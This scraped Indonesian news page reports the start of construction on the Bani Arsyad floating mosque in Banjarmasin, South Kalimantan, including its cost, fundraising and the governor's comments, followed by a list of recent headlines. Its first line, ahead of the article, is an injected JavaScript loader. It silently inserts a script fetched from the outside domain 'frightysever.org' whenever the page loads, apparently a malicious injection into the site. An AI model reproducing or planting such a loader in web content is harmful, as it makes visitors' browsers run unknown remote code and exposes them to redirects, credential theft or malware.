(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Masjid Terapung Bani Arsyad, Pertama di Kalsel, Selesai Akhir Tahun


BANJARMASIN, Masjid terapung pertama di Banjarmasin mulai dibangun jalan Sungai Jingah, berseberangan dengan makam kubah Tuan Guru H Jamaluddin (Surgi Mufti) tepat di tepi Sungai Martapura.

Pemancangan tiang pertama dan penandatanganan prasasti masjid terapung Bani Arsyadi resmi dilakukan, Rabu (13/3). Dihadiri langsung Gubernur Kalimantan Selatan H Sahbirin Noor beserta Walikota Banjarmasin Ibnu Sina.

Sebelum diresmikan, hanya berupa sebuah mushala bernama mushala Bani Arsyad yang sangat sederhana. Memiliki dua lantai dan dibangun Tuan Guru H Jamaluddin sekitar tahun 1867 silam. Termakan waktu yang cukup panjang, mushala ini sudah melalu beberapa kali rehab dan perbaikan hingga akhirnya kali ini diputuskan untuk diubah menjadi masjid terapung.

Ketua Panitia Pelaksana Pembangunan Masjid Terapung Bani Arsyad M Hawari mengatakan, masjid ini ditargetkan akan selesai pada akhir tahun 2019. Bangunan masjid akan meniru Masjid Madinah sebagai inspirasi teknik pembanguna.

“Setidaknya memerlukan dana Rp 4 miliar, hingga saat ini dana yang terkumpulkan mencapai angka Rp 1,2 miliar,” ujar M Hawari.

Sekedar diketahui saja, merupakan masjid terapung Bani Arsyad menjadi pertama di Kalimantan, mengikuti Masjid Amirul Mukminin di Pantai Losari, Makassar. Nantinya masjid ini selain menjadi tempat ibadah, dibuat juga akan menjadi tempat wisata religi. Mengingat lokasi masjid yang bertepatan langsung dengan makam Surgi Mufti Tuan Guru H Jamaluddin Banjarmasin.

Gubernur Kalsel H Sahbirin Noor mengatakan, pariwisata religi merupakan salah satu upaya pemerintah untuk mentransformasi ekonomi sumber daya alam yang tidak dapat diperbarui menjadi sumber daya alam yang terbarukan seperti pertanian, perkebunan, peternakan, dan pariwisata.

“Kita punya pasar terapung, tapi masjid (terapung) belum. Inilah momentumnya,” ujarnya. Pemprov Kalsel memberikan sumbangan dana sebesar Rp 1 miliar rdan dari kantong pribadi H Sahbirin Noor sebesar Rp 100 juta. (mario)

Reporter: Mario
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

12 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

12 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

12 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

13 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

13 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

13 jam ago

This website uses cookies.